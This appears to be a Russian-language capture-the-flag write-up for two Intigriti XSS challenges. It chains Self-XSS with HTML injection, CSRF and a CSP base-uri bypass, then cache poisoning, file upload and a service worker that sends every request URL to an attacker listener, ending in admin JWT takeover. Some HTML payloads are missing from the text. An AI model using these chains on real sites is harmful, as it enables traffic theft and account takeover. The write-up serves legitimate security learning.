January 9

XSS Advanced Level

Я часто встречаю XSS, которые не дают возможности использовать что-то кроме вызова алерта, или какие-нибудь Self-XSS без возможности эксплуатации. Однако, если приложить достаточно усилий, то можно докрутить даже многие Self-XSS, используя их в комбинации с другими уязвимостями, которые на первый взгляд кажутся неэксплуатируемыми.

В сегодняшней статье я постарался раскрыть два интересных вектора эксплуатации таких XSS: в первом случае мы сталкиваемся с HTML-инъекцией и Self-XSS, а во втором случае эксплуатируем XSS с помощью отравления кэша и Service-Worker.

Self-XSS + HTML Injection + CSRF

Рассмотрим уязвимое приложение. Перед нами страница, которая представляет собой блог, и нам доступна функциональность авторизации в приложении:

После входа в учетную запись нам открывается страница редактирования поста для главной страницы:

После создания пост сразу отображается в нашем блоге:

Во время редактирования поста я заметил, что ввод в поле tags сразу рефлектится на странице:

Наш ввод попадает в тег сценария, и мы можем попробовать выйти из этого querySelector и выполнить любой js, для этого необходимо закрыть селектор:

"-alert(1)-"

По условию задачи, Self-XSS должна вывести пользователю его никнейм при открытии страницы, поэтому изменим полезную нагрузку под условие.
Нам необходимо получить элемент из html-страницы, который содержит никнейм пользователя. Название класса можно получить, воспользовавшись Inpector'oм относительно поля с нашим никнеймом:

Получаем все элементы этого класса:

getElementsByClassName

"-alert(document.getElementsByClassName("navbar-brand"))-"

Так как это массив, получаем его первый элемент:

"-alert(document.getElementsByClassName("navbar-brand")[0])-"

Преобразуем полученный элемент в текст с помощью innerText для корректного отображения:

innerText

"-alert(document.getElementsByClassName("navbar-brand")[0].innerText)-"

Так как это Self-XSS доступна только во время редактирования, нам необходимо найти еще одну уязвимость, которая позволит добиться импакта. Обычно такие XSS можно использовать в сочетании с CSRF, но в данной лабораторной существует ограничение в виде csrf-токена, который не позволит подделать запрос.

HTML-Injection

После сохранения поста на странице блога кроме полезной нагрузки также отображается сохраненный в поле content тэг button:

CSRF-токен, который используется в последующем запросе, такой же, как и при написании комментария, поэтому я попробовал связать добавленную мной кнопку с формой комментариев:

Click Me

После нажатия на внедренную кнопку можно увидеть, что запрос на /edit выполняется, но появляется предупреждение о пустых полях content и tags:

Для того чтобы заполнить эти поля, я использую теги input, связываю их со своей кнопкой и добавляю полезную нагрузку для Self-XSS:

Click Me


Полезная нагрузка отображается на странице:

После нажатия на кнопку мы можем увидеть подтверждение того, что Self-XSS внедрилась, и пост отредактировался:

Теперь, если зайти в редактирование поста, полезная нагрузка срабатывает:

Казалось бы, этого достаточно, но до сих пор от пользователя требуется несколько действий: нажать кнопку, перейти на страницу редактирования.

Необходимо попробовать найти более универсальный способ эксплуатации.

Для поиска решения посмотрим js, который работает на странице:

Если кто-то получает доступ по ссылке и добавляет GET-параметр share, то selector выберет элемент из DOM, у которого есть кнопка share-button, и он нажмет эту кнопку, что позволит нам убрать одно действие из эксплуатации.

Отредактируем нашу полезную нагрузку HTML-инъекции:

Click Me


После перехода по ссылке на блог с полезной нагрузкой ничего не происходит, но если мы добавим в запрос GET-параметр share со значением 1, то полезная нагрузка успешно отработает:

https://challenge-1222.intigriti.io/blog/94e7b406-4620-49fe-b5fb-eac35f737b3f?share=1

Осталось убрать последнее действие: добавить редирект пользователя на /edit после добавления полезной нагрузки.

Перенаправление на странице можно добавить с помощью html:

Итоговая полезная нагрузка выглядит так:

Click Me


Полезная нагрузка успешно отрабатывает, и Self-XSS выполняется в одно действие:

CSP Bypass

Существует ещё один вариант решения задачи с помощью HTML-инъекции и проблеме в CSP.

Обратимся к ресурсуCSP-evaluatorдля проверки директив:

Отсюда можно понять, что мы можем устанавливать базовый url адрес для загрузки внешних js-скриптов.

Разместим у себя на сервере js-файл с полезной нагрузкой по пути static/js/bootstrap.bundle.min.js, так какданный путь раскрывается в коде страницы. Содержимое js-файла будет таким:

alert(document.getElementsByClassName("navbar-brand")[0].innerText)

Полезная нагрузка для объявления base-uri выглядит следующим образом, ее нужно добавить в поле Content при редактировании блога:

После открытия ссылки Self-XSS сразу отрабатывает:

XSS + WebCachePoisoning + File Upload + service worker

Лабораторная состоит из двух частей: сама лабораторная и API, на который нужно будет отправить ссылку с полезной нагрузкой:

https://api.challenge-1122.intigriti.io/admin?url=

Изначально регистрация недоступна из-за отсутствия возможности ввести username, но данное ограничение обходится, если удалить readonly="" из тэга input для поля username, после чего мы можем успешно зарегистрироваться:

В приложении доступны функции добавления заметок и загрузки аватара:

Можно заметить, что аватар грузится на сторонний домен, и это CDN:

Если обратиться к несуществующему изображению на этом домене, то мы получаем ошибку, и в запросе с ошибкой можно обратить внимание на важную деталь: содержимое хэдера X-Cache:

Из полученной информации можно понять, что на CDN используется кэширование ответов, и первое, что приходит в голову, — это попробовать найти XSS в этом запросе.

Так как мы контролируем название файла, которое рефлектится в ответе, попробуем добавить в название полезную нагрузку:

Но, к сожалению, при попытке воспользоваться уязвимостью в браузере, мы сталкиваемся с тем, что спецсимволы кодируются при помощью URL, что мешает внедрению скрипта:

Ответ попадает в кэш-сервера при выполнении одного условия, — это обязательное наличие расширения в конце названия загружаемого изображения (.png, .jpg и другие), обойти которое можно, добавив полезную нагрузку до расширения:

WebCachePoisoning + Bypass Url Encoding

Полезная нагрузка попадает в ответ от сервера, и затем ответ кэшируется. Необходимо сначала закэшировать ответ с исходной полезной нагрузкой.

При следующем переходе по URL, полезная нагрузка отработает, и кодирование в URL, которое мешает эксплуатации через браузер, не сработает:

File Upload + Service Worker

Функциональность загрузки аватара также имеет уязвимость: существует возможность загрузки файла с любым расширением.

Для последующей эксплуатации вместо изображения я загружаю js-файл с полезной нагрузкой:

Изменим полезную нагрузку и отправим запрос для кэширования ответа, содержащего нагрузку и путь к файлу, который мы загрузили как аватар:

https://cdn.challenge-1122.intigriti.io/uploads/subscribe.png?.png

При открытии ссылки кэшированный ответ отрабатывает и XSS исполняется:

Service Worker

Service Worker — это скрипт, который регистрируется браузером и работает отдельно от основного потока веб-приложения. Он позволяет перехватывать события сети (такие как запросы и ответы), управлять кэшированием и обеспечивать оффлайн функциональность.

При эксплуатации XSS, Service Worker может быть использован для внедрения вредоносного кода и перехвата трафика. Мы можем изменить зарегистрированный Service Worker, чтобы перехватывать и модифицировать сетевые запросы. Это может привести, например, к утечке конфиденциальной информации.

Ниже представлен вариант Service-Worker, который прослушивает события fetch. При срабатывании события fetch выполняется асинхронный вызов уже другой функции fetch, осуществляющий GET-запрос на подконтрольный нам сервер:

self.addEventListener('fetch', (event) => {
    fetch(`https://listener/qwe?${event.request.url}`)
});

В нашем случае код просто пересылает запрос на сервер с добавлением параметра "qwe" и значением URL-запроса.

Подробнее про service-worker

Загружаем Service Worker:

Отправляем полезную нагрузку для загрузки Service-Worker на страницу, ответ от сервера должен обязательно попасть в кэш:

navigator.serviceWorker.register("avatar-wr3d.js").then(r=>{location='https://api.challenge-1122.intigriti.io'});.png

Копируем URL-адрес с внедренной XSS и отправляем админу:

https://cdn.challenge-1122.intigriti.io/uploads/subscribe.png?navigator.serviceWorker.register("avatar-wr3d.js").then(r=>{location='https://api.challenge-1122.intigriti.io'});11111.png

Прилетает запрос:

По ссылке находится хинт:

Кроме этого оказалось, что у приложения существует тестовый стенд, который можно использовать для создания идентификатора авторизации администратора

https://staging.challenge-1122.intigriti.io/signup

Мы знаем username администратора из запроса, который пришел нам на сервер при эксплуатации XSS.

Пробуем зарегистрироваться с идентификатором администратора и использовать его JWT-токен для авторизации на основном домене.

Это срабатывает. Теперь осталось взять JWT, авторизоваться на основном домене от имени администратора и получить заключительный флаг, находится в аватарке: